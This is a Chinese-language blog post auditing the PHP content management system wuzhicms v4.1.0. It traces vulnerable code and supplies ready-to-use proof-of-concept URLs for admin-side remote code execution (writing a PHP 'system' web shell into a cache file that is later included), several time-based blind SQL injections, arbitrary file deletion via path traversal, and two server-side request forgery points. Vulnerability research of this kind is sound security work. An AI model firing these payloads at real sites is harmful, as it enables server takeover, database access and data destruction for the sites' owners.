美文网首页代码审计
基于MVC架构的PHP代审——wuzhicms v4.1.0

基于MVC架构的PHP代审——wuzhicms v4.1.0

作者: book4yi | 来源:发表于2022-03-18 22:36 被阅读0次

前言:


目前也有几个小众cms的代审经验了,打算尝试对基于MVC架构的PHP项目代码进行审计,争取从审计新手转变成审计小白。

五指cms:


五指cms由原phpcms V9 负责人参加主导开发,前后台界面采用html5+css3技术,可以进行跨屏、跨设备管理内容,极大的提升了用户体验。

入口文件:wuzhicms/www/index.php

<?php
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定义当前的网站物理路径
define('WWW_ROOT',dirname(__FILE__).'/');

require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';

$app = load_class('application');
$app->run();
?>

此处包含了两个文件,web_config.php定义了Web应用程序需要使用到的那种常量。core.php为核心函数文件,调用了set_globals()函数,将GET、POST参数全部转给GLOBALS ,然后注销get和post;调用了load_function('common')来加载核心公共函数;load_class('application')调用了coreframe/app/core/libs/class/application.class.php类函数文件,Web应用采用MVC架构进行管理

公共函数文件:/coreframe/app/core/libs/function/common.func.php

相关安全过滤函数分析:

//过滤SQL关键字,mysql入库字段过滤
function sql_replace($val){
    $val = str_replace("\t", '', $val);
    $val = str_replace("%20", '', $val);
    $val = str_replace("%27", '', $val);
    $val = str_replace("*", '', $val);
    $val = str_replace("'", '', $val);
    $val = str_replace("\"", '', $val);
    $val = str_replace("/", '', $val);
    $val = str_replace(";", '', $val);
    $val = str_replace("#", '', $val);
    $val = str_replace("--", '', $val);
    $val = addslashes($val);
    return $val;
}

文件上传安全函数:

function filename($name) 
{
    $_exts =  array('php','asp','jsp','jspx','html','htm','aspx','asa','cs','cgi','js','dhtml','xhtml','vb','exe','shell','bat','php4','php4','php5','pthml','cdx','cer');
    $ext = strtolower(pathinfo($name,PATHINFO_EXTENSION));
    if(in_array($ext, $_exts)) {
        return FALSE;
    }
    $rand_str = random_string('diy', 6,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
    $files = date('YmdHis').$rand_str.'.'.$ext;
    return $files;
}

漏洞分析:


共发现4处RCE,通过CNVD官网发现有1处RCE已经有人提交过了,另外3个已提交CNVD就不公开了

  • 后台RCE(四):

漏洞代码分析:/wuzhicms/coreframe/app/attachment/admin/index.php

public function set()
{
    if (isset($GLOBALS['submit'])) {
        set_cache(M, $GLOBALS['setting']);
        MSG(L('operation_success'), HTTP_REFERER, 3000);
    } 
}

当用户传递动态参数sumit时,web程序会引用set_cache()方法,其中M为当前模块名attachment,继续跟进:

function set_cache($filename, $data, $dir = '_cache_'){
    static $_dirs;
    if ($dir == '') return FALSE;
    if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
    $cache_path = CACHE_ROOT . $dir . '/';
    if (!isset($_dirs[$filename . $dir])) {
        if (!is_dir($cache_path)) {
            mkdir($cache_path, 0777, true);
        }
        $_dirs[$filename . $dir] = 1;
    }
    $filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
    if (is_array($data)) {
        $data = '<?php' . "\r\n return " . array2string($data) . '?>';
    }
    file_put_contents($filename, $data);
}

$cache_path为web服务器的缓存路径目录,$filename为缓存文件名,然后通过file_put_contents方法,毫无过滤地将$data写入到缓存文件中,那么如果该缓存文件被包含,则可以造成RCE的效果,而且一般来说缓存文件都是会被web程序利用的。按照这个思路继续分析:

class index extends WUZHI_admin
{
    private $db;

    function __construct()
    {
        $this->db = load_class('db');
        $GLOBALS['_menuid'] = isset($GLOBALS['_menuid']) ? intval($GLOBALS['_menuid']) : '';
        $this->_cache = get_cache(M);
    }

当对象创建时会调用魔术方法__construct(),然后会引入get_cache()方法,继续分析:

function get_cache($filename, $dir = '_cache_'){
    $file = get_cache_path($filename, $dir);
    if (!file_exists($file)) return '';
    $data = include $file;
    return $data;
}

get_cache()方法会包含并返回缓存文件,那么就可以造成RCE的效果了

POC:/wuzhicms/www/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<%3fphp+system($GLOBALS['cmd'])%3b%3f>

RCE漏洞发现到处为止把,肯定还有其他能造RCE的地方,懒得一个个看了。

  • 后台SQL注入点(一)

漏洞代码分析:/coreframe/app/core/admin/copyfrom.php

public function listing() {
    $siteid = get_cookie('siteid');
    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
    $page = max($page,1);
    if(isset($GLOBALS['keywords'])) {
        $keywords = $GLOBALS['keywords'];
        $where = "`name` LIKE '%$keywords%'";
    } else {
        $where = '';
    }
    $result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);

直接拼接用户可控的keywords参数值到$where变量中,然后将$where变量作为参数执行get_list方法,继续追踪:

final public function get_list($table, $where = '', $field = '*', $startid = 0, $pagesize = 200, $page = 0, $order = '', $group = '', $keyfield = '', $urlrule = '',$array = array(),$colspan = 10) {
    $where = $this->array2sql($where);
    }

这里又将$where变量以入参的方式进入到array2sql方法:

private function array2sql($data) {
    if(empty($data)) return '';
    if(is_array($data)) {
        $sql = '';
        foreach ($data as $key => $val) {
            $val = str_replace("%20", '', $val);
            $val = str_replace("%27", '', $val);
            $val = str_replace("(", '', $val);
            $val = str_replace(")", '', $val);
            $val = str_replace("'", '', $val);
            $sql .= $sql ? " AND `$key` = '$val' " : " `$key` = '$val' ";
        }
        return $sql;
    } else {
        $data = str_replace("%20", '', $data);
        $data = str_replace("%27", '', $data);
        return $data;
    }
}

array2sql方法对$data变量进行了替换置空处理,但是若$data为字符串类型时,只是将%20%27进行替换置空,并没有对原始字符进行任何过滤处理。应用程序最后会通过query()方法执行mysqli_query查询操作,从而导致的SQL注入的产生。

POC:/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=test%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%286%29%29%29aR%29--%20

分析到这里,也就是说当动态参数在以入参的方式执行get_list方法之前,若没有进行过滤处理,且第二个参数不为数组,则会触发SQL注入,后续又找到多处后台SQL注入:

POC:/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW

POC:/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&_su=wuzhicms&groupname=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW

POC:wuzhicms/www/index.php?m=order&f=card&v=listing&_su=wuzhicms&keytype=1&batchid=123d%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20

POC:/wuzhicms/www/index.php?m=order&f=goods&v=listing&_su=wuzhicms&keywords=888111&keytype=0&cardtype=188%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20

  • 后台SQL注入点(二)

漏洞代码分析:/coreframe/app/member/admin/group.php

$this->db = load_class('db');
public function del() {
    if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
        if(is_array($GLOBALS['groupid'])) {
            $where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
            foreach($GLOBALS['groupid'] as $gid) {
                $this->db->delete('member_group_priv', array('groupid' => $gid));
            }
        } else {
            $where = ' = '.$GLOBALS['groupid'];
            $this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
        }
        $this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
        $this->group->set_cache();
    }
}

这里发现并没有对$GLOBALS['groupid']进行过滤处理,程序通过load_class()来加载核心类函数,实例化对象db并引用delete()方法:

final public function delete($table, $where = '') {
    $where = $this->array2sql($where);
    return $this->master_db->delete($table, $where);
}

接着会引用array2sql()方法进行特殊字符过滤,最后执行sql语句

POC:/wuzhicms/www/index.php?m=member&f=group&v=del&_su=wuzhicms&callback=996<img>&groupid=%28SELECT/%2AAAA%2A//%2AAAA%2A/3289/%2AAAA%2A//%2AAAA%2A/FROM%28SELECT%28SLEEP%284%29%29%29Guqe%29

  • 任意文件删除:

漏洞代码分析:wuzhicms/coreframe/app/attachment/admin/index.php

public function del()
{
    $id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
    $url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';
    if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);
    if ($id) {
    else {
        if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
        $path = str_ireplace(ATTACHMENT_URL, '', $url);
        if ($path) {
            $where = array('path' => $path);
            $att_info = $this->db->get_one('attachment', $where, 'usertimes,id');
            if (empty($att_info)) {
                $this->my_unlink(ATTACHMENT_ROOT . $path);
                MSG(L('operation_success'), HTTP_REFERER, 3000);
            }
        }
    }
}

$url用户可控,web应用程序会将用户输入的地址代入到数据库中查询,若查询不到相关数据则会进行引入my_unlink()方法:

private function my_unlink($path)
{
    if(file_exists($path)) unlink($path);
}

若文件存在,则直接进行删除操作,并没有进行安全验证

POC:/wuzhicms/www/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../../888.txt

  • 后台SSRF触发点(一):

漏洞代码分析:wuzhicms/coreframe/app/content/admin/content.php

public function edit() {
    $cid = isset($GLOBALS['cid']) ? intval($GLOBALS['cid']) : 0;
    $cate_config = get_cache('category_'.$cid,'content');
    if(!$cate_config) MSG(L('category not exists'));
    //如果设置了modelid,那么则按照设置的modelid。共享模型添加必须数据必须指定该值。
    if(isset($GLOBALS['modelid']) && is_numeric($GLOBALS['modelid'])) {
        $modelid = $GLOBALS['modelid'];
    } else {
        $modelid = $cate_config['modelid'];
    }
    $categorys = get_cache('category','content');

    if(isset($GLOBALS['submit']) || isset($GLOBALS['submit2'])) {
        $formdata = $GLOBALS['form'];
        //添加数据之前,将用户提交的数据按照字段的配置,进行处理
        require get_cache_path('content_add','model');
        $form_add = new form_add($modelid);
        $formdata = $form_add->execute($formdata);

当存在$GLOBALS['submit']时,会包含缓存文件/wuzhicms/caches/model/content_add.NwaRa.php,然后实例化一个对象并调用execute()方法,$formdata作为参数进行传递:

public function execute($formdata) {
    foreach($formdata as $field=>$value) {
        if($this->check_field($field)===FALSE) continue;
        $field_config = $this->fields[$field];
        $name = $field_config['name'];

        $func = $field_config['formtype'];
        //在field_config 必须包含的键值:field
        if(method_exists($this, $func)) $value = $this->$func($field_config, $value);

execute()方法中会遍历$formdata数组,然后判断类中是否存在函数$field_config['formtype'],若存在则引用该函数,当键名$field="content"时,$field_config['formtype']="editor",此时会调用editor()方法:

private function editor($config, $value) {
    extract($config,EXTR_SKIP);
    if($setting) extract($setting,EXTR_SKIP);
    if($value && $editor_type=='ckeditor') {
        $value = str_replace('<div style="page-break-after: always"><span style="display: none;">&nbsp;</span></div>','_wuzhicms_page_tag_',$value);
    }
    /*远程图片加载*/
    $enablesaveimage = $setting['enablesaveimage'];
    if(isset($_POST['spider_img'])) $enablesaveimage = 1;
    if($enablesaveimage) {
        $watermark_enable = intval($setting['watermark_enable']);
        $attachment = load_class('attachment','attachment');
        $value = $attachment->save_remote($value,$watermark_enable);
    }
    return $value;
}

$enablesaveimage = 1成立,继续跟踪save_remove()方法

public function save_remote( $str = '', $watermark_enable = false)
{
    if(empty($str)) return false;
    if($watermark_enable==1) $this->water_mark = true;
    $list = $replace_array = array();//这里存放结果map
    $c1 = preg_match_all('/<img\s.*?>/', $str, $m1);//先取出所有img标签文本
    for($i=0; $i<$c1; $i++) //对所有的img标签进行取属性
    {
        $c2 = preg_match_all('/(\w+)\s*=\s*(?:(?:(["\'])(.*?)(?=\2))|([^\/\s]*))/', $m1[0][$i], $m2);//匹配所有属性
        for($j=0; $j<$c2; $j++) //将匹配完的结果进行结构重组
        {
            $img_attr = $m2[1][$j];
            if( !in_array($img_attr, array('src','alt','title')) ) continue;
            $list[$i][$img_attr] = !empty($m2[4][$j]) ? $m2[4][$j] : $m2[3][$j];
        }
    }

    foreach($list AS $k=>$v)
    {
        if(strpos($v['src'], '://') === false || strpos_array($v['src'], array('127.0.0.1','localhost',ATTACHMENT_URL) ) !== false) continue;

        $alt = isset($v['alt']) ? remove_xss($v['alt']) : remove_xss($v['title']);
        $new_path = $this->get_remote_file( $v['src'], array('alt'=>$alt) );
    }
}

利用正则匹配提取img标签的src属性所指向的url,并写入到$list数组中:

然后遍历$list数组,将url作为参数传入到get_remote_file()函数中

public function get_remote_file($path = '', $file_attr = array() )
{
    if(empty($path)) return false;

    $content = $this->get_remote_core($path);

继续追踪get_remote_core()函数:

private function get_remote_core($path = '')
{
    if(function_exists('curl_init'))
    {
        $c = curl_init();
        $domain_array = parse_url($path);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c,CURLOPT_REFERER,$domain_array['scheme'].'://'.$domain_array['host']);
        curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko');//部分服务器判断浏览器头,这里加上防止其返回404等异常;
        curl_setopt($c, CURLOPT_URL, $path);
        curl_setopt($c, CURLOPT_HEADER, 0);
        curl_setopt($c, CURLOPT_TIMEOUT,30);
        $contents = curl_exec($c);

$path为url地址,利用curl_exec()发送http请求,并无其他有效的过滤措施,存在服务端请求伪造漏洞,由于该漏洞是由于curl_exec()造成的,可通过gopher协议进一步造杀伤。

  • 后台SSRF触发点(二):

漏洞代码分析:wuzhicms/coreframe/app/search/admin/config.php

    public function test() {
        $sphinxhost   = remove_xss($GLOBALS['sphinxhost']);
        $sphinxport   = remove_xss($GLOBALS['sphinxport']);
        $sphinxhost = !empty($sphinxhost) ? $sphinxhost : exit('-1');
        $sphinxport = !empty($sphinxport) ? intval($sphinxport) : exit('-2');
        $fp = @fsockopen($sphinxhost, $sphinxport, $errno, $errstr , 2);
        if (!$fp) {
            exit($errno.':'.$errstr);
        } else {
            exit('1');
        }
    }

相关文章

网友评论

    本文标题:基于MVC架构的PHP代审——wuzhicms v4.1.0

    本文链接:https://www.haomeiwen.com/subject/bsbqkrtx.html